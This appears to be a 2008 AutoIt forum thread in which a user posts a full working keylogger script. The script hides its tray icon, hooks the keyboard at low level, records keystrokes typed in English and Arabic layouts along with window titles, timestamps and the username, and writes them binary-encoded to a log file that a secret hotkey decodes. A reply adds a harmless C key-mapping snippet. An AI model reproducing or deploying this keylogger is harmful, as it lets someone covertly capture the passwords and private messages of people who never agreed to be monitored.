wolf9228 Posted November 7, 2008 Posted November 7, 2008 (edited) This example For English and Arabic Keyboard _Exit() ==> SHIFT + ALT + CTRL + X #NoTrayIcon _WinAPI_SetWindowsHookEx FileKeys.log ===> Binary OUTFILE.INI ===> String expandcollapse popup#NoTrayIcon ;This example For English and Arabic Keyboards HotKeySet("+!^x", "_Exit") ; _Exit() ==> SHIFT + ALT + CTRL + X #include <WinAPI.au3> #include <WindowsConstants.au3> #include <StructureConstants.au3> Global $hHook, $hStub_KeyProc, $buffer = "" Local $hmod $hStub_KeyProc = DllCallbackRegister("_KeyProc", "long", "int;wparam;lparam") $hmod = _WinAPI_GetModuleHandle(0) $hHook = _WinAPI_SetWindowsHookEx($WH_KEYBOARD_LL, DllCallbackGetPtr($hStub_KeyProc), $hmod) $hWnd = _WinAPI_GetForegroundWindow() ;ForegroundWindow ==> ForegroundWindow hWnd $titlex = _WinAPI_GetWindowText($hWnd) ;GetWindowText ==> ForegroundWindow titl Dim $KeyboardKeyx = "[ " & $titlex & " ]" & @CRLF , _ $key = "" , _ $hWndAll = "" , _ $ArrayKeys[1][3] , _ $type = "NORMAL" ;; NORMAL Pressed $ArrayKeys[0][0] = 0 DirCreate ( @ScriptDir & "\log" ) ; Dir For ===> FileKeys.log $Count = IniRead(@ScriptDir & "\log\FileKeys.log", "Count", "Count", 0) ;Read Last Count Run("Notepad") WinWait("Untitled -") WinActivate("Untitled -") Run("write.exe") WinWait("Document - WordPad") WinActivate("Document - WordPad") while 1 Sleep(10) wend Func _KeyProc($nCode, $wParam, $lParam) Local $tKEYHOOKS $tKEYHOOKS = DllStructCreate($tagKBDLLHOOKSTRUCT, $lParam) If $nCode < 0 Then Return _WinAPI_CallNextHookEx($hHook, $nCode, $wParam, $lParam) EndIf $vkCode = DllStructGetData($tKEYHOOKS, "vkCode") Switch $wParam Case $WM_KEYUP Switch $vkCode Case $vkCode = 160 Global $type = "NORMAL" ; NORMAL Pressed Case $vkCode = 162 Global $type = "NORMAL" ; NORMAL Pressed EndSwitch Case $WM_KEYDOWN Switch $vkCode Case $vkCode = 160 Global $type = "SHIFT" ; SHIFT Pressed Case $vkCode = 162 Global $type = "CTRL" ; CTRL Pressed EndSwitch OutPressed(StringRight(Hex($vkCode),2)) ;Hex vkCode ==> ASCII Hex Case Else Local $flags = DllStructGetData($tKEYHOOKS, "flags") Switch $flags Case $LLKHF_ALTDOWN ConsoleWrite("$LLKHF_ALTDOWN" & @LF) Case $LLKHF_EXTENDED ConsoleWrite("$LLKHF_EXTENDED" & @LF) Case $LLKHF_INJECTED ConsoleWrite("$LLKHF_INJECTED" & @LF) Case $LLKHF_UP ConsoleWrite("$LLKHF_UP: scanCode - " & DllStructGetData($tKEYHOOKS, "scanCode") & @TAB & "vkCode - " & DllStructGetData($tKEYHOOKS, "vkCode") & @LF) EndSwitch EndSwitch Return _WinAPI_CallNextHookEx($hHook, $nCode, $wParam, $lParam) EndFunc ;==>_KeyProc Func OnAutoItExit() _WinAPI_UnhookWindowsHookEx($hHook) DllCallbackFree($hStub_KeyProc) EndFunc ;==>OnAutoItExit Func OutPressed($key) $hWnd = _WinAPI_GetForegroundWindow() ;ForegroundWindow ==> ForegroundWindow hWnd $title = _WinAPI_GetWindowText($hWnd) ;GetWindowText ==> ForegroundWindow titl If Not StringInStr($hWndAll, $hWnd) then ;chk ForegroundWindow hWnd IS new $hWndAll &= $hWnd & @CR $Count = $Count + 1 ReDim $ArrayKeys[$ArrayKeys[0][0] + 2][3] $ArrayKeys[$ArrayKeys[0][0] + 1][0] = $hWnd ;Add ForegroundWindow hWnd $ArrayKeys[$ArrayKeys[0][0] + 1][1] = $Count ;Add ForegroundWindow Count /Ini File $ArrayKeys[$ArrayKeys[0][0] + 1][2] = @CRLF & '[ ' & $title & ' ]' & @CRLF & @YEAR & "\" & @MON & "\" & _ @MDAY & ":" & @HOUR & ":" & @MIN & ":" & @SEC & "\" & @WDAY & "\" & @YDAY & "\" _ & @UserName & @CRLF ;Add ForegroundWindow Title TimeSYS And UserName $ArrayKeys[0][0] = $ArrayKeys[0][0] + 1 ;ArrayKeys Count IniDelete(@ScriptDir & "\log\FileKeys.log", "Count", "Count") ;Dlet ini Count IniWrite(@ScriptDir & "\log\FileKeys.log", "Count", "Count", $Count) ;Add new Count EndIf $Layout = _GetKeyboardLayout($hWnd) ;ForegroundWindow KeyboardLayout if $Layout = '00002001' or $Layout = '00001401' or $Layout = '00000C01' or $Layout = '00002C01' or _ ;Arabic Layout $Layout = '00003401' or $Layout = '00003001' or $Layout = '00001801' or $Layout = '00004001' or _ ;Arabic Layout $Layout = '00000401' or $Layout = '00002801' or $Layout = '00001C01' or $Layout = '00003801' or _ ;Arabic Layout $Layout = '00002401' or $Layout = '00003C01' or $Layout = '00000801' then ;Arabic Layout $KeyboardKey = KeyboardAR($type , $key) ; Arabic KeyboardAR else ;English Layout $KeyboardKey = KeyboardEN($type, $key) ; English KeyboardAR endif if $KeyboardKey = 'NOTHING' Then Return ;if Pressed key with CTRL Or Key Not in (23 - 126) ASCII Codes For $i = $ArrayKeys[0][0] To 1 Step -1 If $ArrayKeys[$i][0] = $hWnd then ExitLoop Next if $KeyboardKey = 'BACKSPACE' Then ;Pressed BACKSPACE $ArrayKeys[$i][2] = StringTrimRight($ArrayKeys[$i][2], 1) Else ;other Key $ArrayKeys[$i][2] &= $KeyboardKey EndIf IniDelete(@ScriptDir & "\log\FileKeys.log", $ArrayKeys[$i][1], $ArrayKeys[$i][1]) IniWrite(@ScriptDir & "\log\FileKeys.log", $ArrayKeys[$i][1], $ArrayKeys[$i][1], StringToBinary($ArrayKeys[$i][2])) ;IniWrite Binary keys EndFunc Func KeyboardEN($type, $key) Switch $type Case 'NORMAL' Switch $key Case 'C0' $key = '`' Case '31' $key = '1' Case '32' $key = '2' Case '33' $key = '3' Case '34' $key = '4' Case '35' $key = '5' Case '36' $key = '6' Case '37' $key = '7' Case '38' $key = '8' Case '39' $key = '9' Case '30' $key = '0' Case 'BD' $key = '-' Case 'BB' $key = '=' Case 'DC' $key = '\' Case '51' $key = 'q' Case '57' $key = 'w' Case '45' $key = 'e' Case '52' $key = 'r' Case '54' $key = 't' Case '59' $key = 'y' Case '55' $key = 'u' Case '49' $key = 'i' Case '4F' $key = 'o' Case '50' $key = 'p' Case 'DB' $key = '[' Case 'DD' $key = ']' Case '41' $key = 'a' Case '53' $key = 's' Case '44' $key = 'd' Case '46' $key = 'f' Case '47' $key = 'g' Case '48' $key = 'h' Case '4A' $key = 'j' Case '4B' $key = 'k' Case '4C' $key = 'l' Case 'BA' $key = ';' Case 'DE' $key = "'" Case '5A' $key = 'z' Case '58' $key = 'x' Case '43' $key = 'c' Case '56' $key = 'v' Case '42' $key = 'b' Case '4E' $key = 'n' Case '4D' $key = 'm' Case 'BC' $key = ',' Case 'BE' $key = '.' Case 'BF' $key = '/' Case '20' $key = " " Case '0D' $key = @CRLF Case '08' $key = 'BACKSPACE' Case Else $key = 'NOTHING' EndSwitch return $key Case 'SHIFT' Switch $key Case 'C0' $key = '~' Case '31' $key = '!' Case '32' $key = '@' Case '33' $key = '#' Case '34' $key = '$' Case '35' $key = '%' Case '36' $key = '^' Case '37' $key = '&' Case '38' $key = '*' Case '39' $key = '(' Case '30' $key = ')' Case 'BD' $key = '_' Case 'BB' $key = '+' Case 'DC' $key = '|' Case '51' $key = 'Q' Case '57' $key = 'W' Case '45' $key = 'E' Case '52' $key = 'R' Case '54' $key = 'T' Case '59' $key = 'Y' Case '55' $key = 'U' Case '49' $key = 'I' Case '4F' $key = 'O' Case '50' $key = 'P' Case 'DB' $key = '{' Case 'DD' $key = '}' Case '41' $key = 'A' Case '53' $key = 'S' Case '44' $key = 'D' Case '46' $key = 'F' Case '47' $key = 'G' Case '48' $key = 'H' Case '4A' $key = 'J' Case '4B' $key = 'K' Case '4C' $key = 'L' Case 'BA' $key = ':' Case 'DE' $key = '"' Case '5A' $key = 'Z' Case '58' $key = 'X' Case '43' $key = 'C' Case '56' $key = 'V' Case '42' $key = 'B' Case '4E' $key = 'N' Case '4D' $key = 'M' Case 'BC' $key = '<' Case 'BE' $key = '>' Case 'BF' $key = '?' Case '20' $key = " " Case '08' $key = 'BACKSPACE' Case Else $key = 'NOTHING' EndSwitch return $key Case 'CTRL' return 'NOTHING' EndSwitch EndFunc Func KeyboardAR($type, $key) Switch $type Case 'NORMAL' Switch $key Case 'C0' $key = 'ذ' Case '31' $key = '1' Case '32' $key = '2' Case '33' $key = '3' Case '34' $key = '4' Case '35' $key = '5' Case '36' $key = '6' Case '37' $key = '7' Case '38' $key = '8' Case '39' $key = '9' Case '30' $key = '0' Case 'BD' $key = '-' Case 'BB' $key = '=' Case 'DC' $key = '\' Case '51' $key = 'ض' Case '57' $key = 'ص' Case '45' $key = 'ث' Case '52' $key = 'ق' Case '54' $key = 'ف' Case '59' $key = 'غ' Case '55' $key = 'ع' Case '49' $key = 'ه' Case '4F' $key = 'خ' Case '50' $key = 'ح' Case 'DB' $key = 'ج' Case 'DD' $key = 'د' Case '41' $key = 'ش' Case '53' $key = 'س' Case '44' $key = 'ي' Case '46' $key = 'ب' Case '47' $key = 'ل' Case '48' $key = 'ا' Case '4A' $key = 'ت' Case '4B' $key = 'ن' Case '4C' $key = 'م' Case 'BA' $key = 'ك' Case 'DE' $key = 'ط' Case '5A' $key = 'ئ' Case '58' $key = 'ء' Case '43' $key = 'ؤ' Case '56' $key = 'ر' Case '42' $key = 'لا' Case '4E' $key = 'ى' Case '4D' $key = 'ة' Case 'BC' $key = 'و' Case 'BE' $key = 'ز' Case 'BF' $key = 'ظ' Case '20' $key = " " Case '0D' $key = @CRLF Case '08' $key = 'BACKSPACE' Case Else $key = 'NOTHING' EndSwitch return $key Case 'SHIFT' Switch $key Case 'C0' $key = 'ّ' Case '31' $key = '!' Case '32' $key = '@' Case '33' $key = '#' Case '34' $key = '$' Case '35' $key = '%' Case '36' $key = '^' Case '37' $key = '&' Case '38' $key = '*' Case '39' $key = ')' Case '30' $key = '(' Case 'BD' $key = '_' Case 'BB' $key = '+' Case 'DC' $key = '|' Case '51' $key = 'َ' Case '57' $key = 'ً' Case '45' $key = 'ُ' Case '52' $key = 'ٌ' Case '54' $key = 'لإ' Case '59' $key = 'إ' Case '55' $key = '' Case '49' $key = '÷' Case '4F' $key = '×' Case '50' $key = '؛' Case 'DB' $key = '<' Case 'DD' $key = '>' Case '41' $key = 'ِ' Case '53' $key = 'ٍ' Case '44' $key = ']' Case '46' $key = '[' Case '47' $key = 'لأ' Case '48' $key = 'أ' Case '4A' $key = 'ـ' Case '4B' $key = '،' Case '4C' $key = '/' Case 'BA' $key = ':' Case 'DE' $key = '"' Case '5A' $key = '~' Case '58' $key = 'ْ' Case '43' $key = '}' Case '56' $key = '{' Case '42' $key = 'لآ' Case '4E' $key = 'آ' Case '4D' $key = '' Case 'BC' $key = ',' Case 'BE' $key = '.' Case 'BF' $key = '؟' Case '20' $key = " " Case '08' $key = 'BACKSPACE' Case Else $key = 'NOTHING' EndSwitch return $key Case 'CTRL' return 'NOTHING' EndSwitch EndFunc Func _GetKeyboardLayout($hWnd) Local $ret = DllCall("user32.dll", "long", "GetWindowThreadProcessId", "hwnd", $hWnd, "ptr", 0) $ret = DllCall("user32.dll", "long", "GetKeyboardLayout", "long", $ret[0]) Return "0000" & Hex($ret[0], 4) EndFunc Func _Exit() $var5 = IniReadSectionNames(@ScriptDir & "\log\FileKeys.log") IF IsArray($var5) Then $file = FileOpen(@ScriptDir & "\log\OUTFILE.INI", 2) FOR $I = 1 TO $var5[0] Step 1 $varIniRead = IniRead(@ScriptDir & "\log\FileKeys.log", $var5[$I], $var5[$I], 0) FileWrite($file, BinaryToString($varIniRead)) Next FileClose($file) EndIf Exit EndFunc Edited November 7, 2008 by wolf9228 صرح السماء كان هنا
LarryDalooza Posted November 7, 2008 Posted November 7, 2008 There is API for auto translating this stuff. I used it in AU3Record.exe... let me see if I can find it. Lar. AutoIt has helped make me wealthy
LarryDalooza Posted November 7, 2008 Posted November 7, 2008 (edited) MapVirtualKey() edit: I may have jumped the gun on this... not even sure this is correct. This may be faulty... but this is how I populate the KEY ARRAYexpandcollapse popupvoid LoadszKeyTxt (void) { int a; for( a=1;a<=255;a++) szKeyTxt[a][0]=MapVirtualKey(a,2); strcpy(szKeyTxt[3],(char*)"{CTRLBREAK}"); strcpy(szKeyTxt[8],(char*)"{BACKSPACE}"); strcpy(szKeyTxt[9],(char*)"{TAB}"); strcpy(szKeyTxt[13],(char*)"{ENTER}"); strcpy(szKeyTxt[16],(char*)"{SHIFT}"); strcpy(szKeyTxt[17],(char*)"{CTRL}"); strcpy(szKeyTxt[18],(char*)"{ALT}"); strcpy(szKeyTxt[19],(char*)"{PAUSE}"); strcpy(szKeyTxt[20],(char*)"{CAPSLOCK}"); strcpy(szKeyTxt[27],(char*)"{ESC}"); strcpy(szKeyTxt[32],(char*)"{SPACE}"); strcpy(szKeyTxt[33],(char*)"{PGUP}"); strcpy(szKeyTxt[34],(char*)"{PGDN}"); strcpy(szKeyTxt[35],(char*)"{END}"); strcpy(szKeyTxt[36],(char*)"{HOME}"); strcpy(szKeyTxt[37],(char*)"{LEFT}"); strcpy(szKeyTxt[38],(char*)"{UP}"); strcpy(szKeyTxt[39],(char*)"{RIGHT}"); strcpy(szKeyTxt[40],(char*)"{DOWN}"); strcpy(szKeyTxt[44],(char*)"{PRINTSCREEN}"); strcpy(szKeyTxt[45],(char*)"{INS}"); strcpy(szKeyTxt[46],(char*)"{DEL}"); strcpy(szKeyTxt[91],(char*)"{LWIN}"); strcpy(szKeyTxt[92],(char*)"{RWIN}"); strcpy(szKeyTxt[93],(char*)"{APPSKEY}"); strcpy(szKeyTxt[107],(char*)"{+}"); strcpy(szKeyTxt[112],(char*)"{F1}"); strcpy(szKeyTxt[113],(char*)"{F2}"); strcpy(szKeyTxt[114],(char*)"{F3}"); strcpy(szKeyTxt[115],(char*)"{F4}"); strcpy(szKeyTxt[116],(char*)"{F5}"); strcpy(szKeyTxt[117],(char*)"{F6}"); strcpy(szKeyTxt[118],(char*)"{F7}"); strcpy(szKeyTxt[119],(char*)"{F8}"); strcpy(szKeyTxt[120],(char*)"{F9}"); strcpy(szKeyTxt[121],(char*)"{F10}"); strcpy(szKeyTxt[122],(char*)"{F11}"); strcpy(szKeyTxt[123],(char*)"{F12}"); strcpy(szKeyTxt[144],(char*)"{NUMLOCK}"); strcpy(szKeyTxt[145],(char*)"{SCROLLLOCK}"); } Edited November 7, 2008 by LarryDalooza AutoIt has helped make me wealthy
Recommended Posts
Create an account or sign in to comment
You need to be a member in order to leave a comment
Create an account
Sign up for a new account in our community. It's easy!
Register a new accountSign in
Already have an account? Sign in here.
Sign In Now